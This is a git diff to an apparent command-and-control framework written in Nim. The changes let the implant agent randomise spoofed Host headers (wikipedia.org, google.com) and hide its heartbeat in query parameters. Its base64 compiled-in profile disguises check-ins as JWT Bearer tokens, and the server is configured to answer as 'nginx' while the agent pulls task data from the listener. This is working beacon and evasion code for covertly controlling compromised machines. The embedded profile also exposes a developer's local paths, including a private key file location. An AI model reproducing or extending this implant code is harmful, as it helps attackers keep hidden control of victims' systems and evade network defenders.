diff --git a/data/profile.toml b/data/profile.toml index 93f854e..cb8bb7c 100644 --- a/data/profile.toml +++ b/data/profile.toml @@ -50,7 +50,11 @@ lang = "en-US" # Defines arbitrary headers that are added by the agent when performing a HTTP GET request [http-get.agent.headers] -Host = "wikipedia.org" +Host = [ + "wikipedia.org", + "google.com", + "127.0.0.1" +] Connection = "Keep-Alive" Cache-Control = "no-cache" @@ -83,7 +87,11 @@ request-methods = [ ] [http-post.agent.headers] -Host = "wikipedia.org" +Host = [ + "wikipedia.org", + "google.com", + "127.0.0.1" +] Content-Type = "application/octet-stream" Connection = "Keep-Alive" Cache-Control = "no-cache" diff --git a/src/agent/core/http.nim b/src/agent/core/http.nim index 768ec7c..983ac31 100644 --- a/src/agent/core/http.nim +++ b/src/agent/core/http.nim @@ -13,18 +13,28 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = heartbeatString = encode(heartbeat, safe = ctx.profile.getBool("http-get.agent.heartbeat.encoding.url-safe")).replace("=", "") of "none": heartbeatString = Bytes.toString(heartbeat) - - let prefix = ctx.profile.getString("http-get.agent.heartbeat.prefix") - let suffix = ctx.profile.getString("http-get.agent.heartbeat.suffix") - let payload = prefix & heartbeatString & suffix + # Define request headers, as defined in profile + for header, value in ctx.profile.getTable("http-get.agent.headers"): + client.headers.add(header, value.getStringValue()) + + # Select a random endpoint to make the request to + var endpoint = ctx.profile.getString("http-get.endpoints") + if endpoint[0] == '/': + endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters + + let + prefix = ctx.profile.getString("http-get.agent.heartbeat.prefix") + suffix = ctx.profile.getString("http-get.agent.heartbeat.suffix") + payload = prefix & heartbeatString & suffix # Add heartbeat packet to the request case ctx.profile.getString("http-get.agent.heartbeat.placement.type"): of "header": client.headers.add(ctx.profile.getString("http-get.agent.heartbeat.placement.name"), payload) of "parameter": - discard + let param = ctx.profile.getString("http-get.agent.heartbeat.placement.name") + endpoint &= fmt"{param}={payload}&" of "uri": discard of "body": @@ -32,24 +42,13 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = else: discard - # Define request headers, as defined in profile - for header, value in ctx.profile.getTable("http-get.agent.headers"): - client.headers.add(header, value.getStringValue()) - # Define additional request parameters - var params = "" for param, value in ctx.profile.getTable("http-get.agent.parameters"): - params &= fmt"&{param}={value.getStringValue()}" - params[0] = '?' - - # Select a random endpoint to make the request to - var endpoint = ctx.profile.getArray("http-get.endpoints").getRandom().getStringValue() - if endpoint[0] == '/': - endpoint = endpoint[1..^1] + endpoint &= fmt"{param}={value.getStringValue()}&" try: # Retrieve binary task data from listener and convert it to seq[bytes] for deserialization - return waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint}{params}") + return waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint[0..^2]}") except CatchableError as err: # When the listener is not reachable, don't kill the application, but check in at the next time @@ -69,11 +68,11 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} = client.headers.add(header, value.getStringValue()) # Select a random endpoint to make the request to - var endpoint = ctx.profile.getArray("http-post.endpoints").getRandom().getStringValue() + var endpoint = ctx.profile.getString("http-post.endpoints") if endpoint[0] == '/': endpoint = endpoint[1..^1] - let requestMethod = parseEnum[HttpMethod](ctx.profile.getArray("http-post.request-methods").getRandom().getStringValue("POST")) + let requestMethod = parseEnum[HttpMethod](ctx.profile.getString("http-post.request-methods", "POST")) let body = Bytes.toString(data) diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index 5c26cef..ae725a1 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -7,4 +7,4 @@ -d:ListenerPort=8080 -d:SleepDelay=3 -d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U=" --d:ProfileString="bmFtZSA9ICJjcS1kZWZhdWx0LXByb2ZpbGUiCmNvbnF1ZXN0X2RpcmVjdG9yeSA9ICIvbW50L2MvVXNlcnMvamFrb2IvRG9jdW1lbnRzL1Byb2plY3RzL2NvbnF1ZXN0Igpwcml2YXRlX2tleV9maWxlID0gIi9tbnQvYy9Vc2Vycy9qYWtvYi9Eb2N1bWVudHMvUHJvamVjdHMvY29ucXVlc3QvZGF0YS9rZXlzL2NvbnF1ZXN0LXNlcnZlcl94MjU1MTlfcHJpdmF0ZS5rZXkiCmRhdGFiYXNlX2ZpbGUgPSAiL21udC9jL1VzZXJzL2pha29iL0RvY3VtZW50cy9Qcm9qZWN0cy9jb25xdWVzdC9kYXRhL2NvbnF1ZXN0LmRiIgpbYWdlbnRdCnNsZWVwID0gNQp1c2VyLWFnZW50ID0gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzguMC4wLjAgU2FmYXJpLzUzNy4zNiIKCltodHRwLWdldF0KZW5kcG9pbnRzID0gWyIvZ2V0IiwgIi9hcGkvdjEuMi9zdGF0dXMuanMiXQpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0XQpwcmVmaXggPSAiQmVhcmVyIGV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS4iCnN1ZmZpeCA9ICIuIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMtIyMjIyIKW2h0dHAtZ2V0LmFnZW50LmhlYXJ0YmVhdC5wbGFjZW1lbnRdCnR5cGUgPSAiaGVhZGVyIgpuYW1lID0gIkF1dGhvcml6YXRpb24iCgpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0LmVuY29kaW5nXQp0eXBlID0gImJhc2U2NCIKdXJsLXNhZmUgPSB0cnVlCgoKW2h0dHAtZ2V0LmFnZW50LnBhcmFtZXRlcnNdCmlkID0gIiMjIyMjLSMjIyMjIgpsYW5nID0gImVuLVVTIgoKW2h0dHAtZ2V0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSAid2lraXBlZGlhLm9yZyIKQ29ubmVjdGlvbiA9ICJLZWVwLUFsaXZlIgpDYWNoZS1Db250cm9sID0gIm5vLWNhY2hlIgoKW2h0dHAtZ2V0LnNlcnZlci5oZWFkZXJzXQpTZXJ2ZXIgPSAibmdpbngiCkNvbnRlbnQtVHlwZSA9ICJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iCkNvbm5lY3Rpb24gPSAiS2VlcC1BbGl2ZSIKCltodHRwLWdldC5zZXJ2ZXIub3V0cHV0LnBsYWNlbWVudF0KdHlwZSA9ICJib2R5IgoKCltodHRwLXBvc3RdCmVuZHBvaW50cyA9IFsiL3Bvc3QiLCAiL2FwaS92Mi9nZXQuanMiXQpyZXF1ZXN0LW1ldGhvZHMgPSBbIlBPU1QiLCAiUFVUIl0KW2h0dHAtcG9zdC5hZ2VudC5oZWFkZXJzXQpIb3N0ID0gIndpa2lwZWRpYS5vcmciCkNvbnRlbnQtVHlwZSA9ICJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iCkNvbm5lY3Rpb24gPSAiS2VlcC1BbGl2ZSIKQ2FjaGUtQ29udHJvbCA9ICJuby1jYWNoZSIKCltodHRwLXBvc3QuYWdlbnQub3V0cHV0LnBsYWNlbWVudF0KdHlwZSA9ICJib2R5IgoKW2h0dHAtcG9zdC5zZXJ2ZXIuaGVhZGVyc10KU2VydmVyID0gIm5naW54IgoKW2h0dHAtcG9zdC5zZXJ2ZXIub3V0cHV0LnBsYWNlbWVudF0KdHlwZSA9ICJib2R5IgoKCg==" +-d:ProfileString="bmFtZSA9ICJjcS1kZWZhdWx0LXByb2ZpbGUiCmNvbnF1ZXN0X2RpcmVjdG9yeSA9ICIvbW50L2MvVXNlcnMvamFrb2IvRG9jdW1lbnRzL1Byb2plY3RzL2NvbnF1ZXN0Igpwcml2YXRlX2tleV9maWxlID0gIi9tbnQvYy9Vc2Vycy9qYWtvYi9Eb2N1bWVudHMvUHJvamVjdHMvY29ucXVlc3QvZGF0YS9rZXlzL2NvbnF1ZXN0LXNlcnZlcl94MjU1MTlfcHJpdmF0ZS5rZXkiCmRhdGFiYXNlX2ZpbGUgPSAiL21udC9jL1VzZXJzL2pha29iL0RvY3VtZW50cy9Qcm9qZWN0cy9jb25xdWVzdC9kYXRhL2NvbnF1ZXN0LmRiIgpbYWdlbnRdCnNsZWVwID0gNQp1c2VyLWFnZW50ID0gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzguMC4wLjAgU2FmYXJpLzUzNy4zNiIKCltodHRwLWdldF0KZW5kcG9pbnRzID0gWyIvZ2V0IiwgIi9hcGkvdjEuMi9zdGF0dXMuanMiXQpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0XQpwcmVmaXggPSAiQmVhcmVyIGV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS4iCnN1ZmZpeCA9ICIuIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMtIyMjIyIKW2h0dHAtZ2V0LmFnZW50LmhlYXJ0YmVhdC5wbGFjZW1lbnRdCnR5cGUgPSAiaGVhZGVyIgpuYW1lID0gIkF1dGhvcml6YXRpb24iCgpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0LmVuY29kaW5nXQp0eXBlID0gImJhc2U2NCIKdXJsLXNhZmUgPSB0cnVlCgoKW2h0dHAtZ2V0LmFnZW50LnBhcmFtZXRlcnNdCmlkID0gIiMjIyMjLSMjIyMjIgpsYW5nID0gImVuLVVTIgoKW2h0dHAtZ2V0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSBbIndpa2lwZWRpYS5vcmciLCAiZ29vZ2xlLmNvbSIsICIxMjcuMC4wLjEiXQpDb25uZWN0aW9uID0gIktlZXAtQWxpdmUiCkNhY2hlLUNvbnRyb2wgPSAibm8tY2FjaGUiCgpbaHR0cC1nZXQuc2VydmVyLmhlYWRlcnNdClNlcnZlciA9ICJuZ2lueCIKQ29udGVudC1UeXBlID0gImFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIKQ29ubmVjdGlvbiA9ICJLZWVwLUFsaXZlIgoKW2h0dHAtZ2V0LnNlcnZlci5vdXRwdXQucGxhY2VtZW50XQp0eXBlID0gImJvZHkiCgoKW2h0dHAtcG9zdF0KZW5kcG9pbnRzID0gWyIvcG9zdCIsICIvYXBpL3YyL2dldC5qcyJdCnJlcXVlc3QtbWV0aG9kcyA9IFsiUE9TVCIsICJQVVQiXQpbaHR0cC1wb3N0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSAid2lraXBlZGlhLm9yZyIKQ29udGVudC1UeXBlID0gImFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIKQ29ubmVjdGlvbiA9ICJLZWVwLUFsaXZlIgpDYWNoZS1Db250cm9sID0gIm5vLWNhY2hlIgoKW2h0dHAtcG9zdC5hZ2VudC5vdXRwdXQucGxhY2VtZW50XQp0eXBlID0gImJvZHkiCgpbaHR0cC1wb3N0LnNlcnZlci5oZWFkZXJzXQpTZXJ2ZXIgPSAibmdpbngiCgpbaHR0cC1wb3N0LnNlcnZlci5vdXRwdXQucGxhY2VtZW50XQp0eXBlID0gImJvZHkiCgoK" diff --git a/src/common/profile.nim b/src/common/profile.nim index 8c4a5ce..b55a02e 100644 --- a/src/common/profile.nim +++ b/src/common/profile.nim @@ -23,8 +23,21 @@ proc randomChar(): char = let alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" return alphabet[rand(alphabet.len - 1)] +proc getRandom*(values: seq[TomlValueRef]): TomlValueRef = + if values.len == 0: + return nil + return values[rand(values.len - 1)] + proc getStringValue*(key: TomlValueRef, default: string = ""): string = - let value = key.getStr(default) + + # In some cases, the profile can define multiple values for a key, e.g. for HTTP headers + # A random entry is selected from these specifications + var value: string = "" + if key.kind == TomlValueKind.String: + value = key.getStr(default) + elif key.kind == TomlValueKind.Array: + value = key.getElems().getRandom().getStr(default) + # Replace '#' with a random alphanumerical character and return the resulting string return value.mapIt(if it == '#': randomChar() else: it).join("") @@ -57,8 +70,3 @@ proc getArray*(profile: Profile, path: string): seq[TomlValueRef] = if key == nil: return @[] return key.getElems() - -proc getRandom*(values: seq[TomlValueRef]): TomlValueRef = - if values.len == 0: - return nil - return values[rand(values.len - 1)] \ No newline at end of file diff --git a/src/server/api/routes.nim b/src/server/api/routes.nim index 8a40907..e8567d6 100644 --- a/src/server/api/routes.nim +++ b/src/server/api/routes.nim @@ -30,7 +30,12 @@ proc httpGet*(ctx: Context) {.async.} = heartbeatString = ctx.request.getHeader(heartbeatHeader)[0] of "parameter": - discard + let param = cq.profile.getString("http-get.agent.heartbeat.placement.name") + heartbeatString = ctx.getQueryParams(param) + if heartbeatString.len <= 0: + resp "", Http404 + return + of "uri": discard of "body":